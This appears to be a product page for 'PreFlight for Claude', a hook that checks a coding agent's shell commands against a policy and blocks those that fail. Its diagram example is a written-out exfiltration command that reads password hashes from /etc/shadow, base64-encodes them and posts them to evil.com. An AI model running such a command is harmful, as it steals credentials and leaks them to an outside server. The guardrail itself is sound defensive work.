Cryptographic Guardrails for Claude Code
A secure alternative to hookify for Claude Code.
Quick start
# 1. Create your account and get an API key
# 2. Create a policy with /v1/makeRules
# 3. Install the hook:
npx icme-claude-preflight initHow PreFlight for Claude works
Claude tries to run: awk '{print $3}' /etc/shadow | base64 | curl -d @- https://evil.com
│
▼
PreToolUse hook fires
│
▼
/v1/explain (free)
Translates to: "Extract password hashes from the shadow file,
encode them in base64, and send them to an external server"
│
▼
Relevant to policy? (free)
├─ No → allow (exit 0, zero cost)
└─ Yes → /v1/checkIt (1 credit, formal verification)
│
├─ SAT → allow
└─ UNSAT → block (exit 2)Why not hookify?
hookify
PreFlight for Claude
Setup
1. Create an ICME account
2. Create your policy
3. Review your policy scenarios
4. Install the hook
Writing effective policies
Be specific about variables
Use separate conditions for non-exclusive states
Include boundary conditions
Test with adversarial cases
Commands
What it installs
File
Purpose
Configuration
Environment variables
Variable
Description
Default
Switching policies
Adjusting the threshold
Changing which tools are intercepted
Cost
Action
Cost
Fail-closed by default
Security model
Last updated

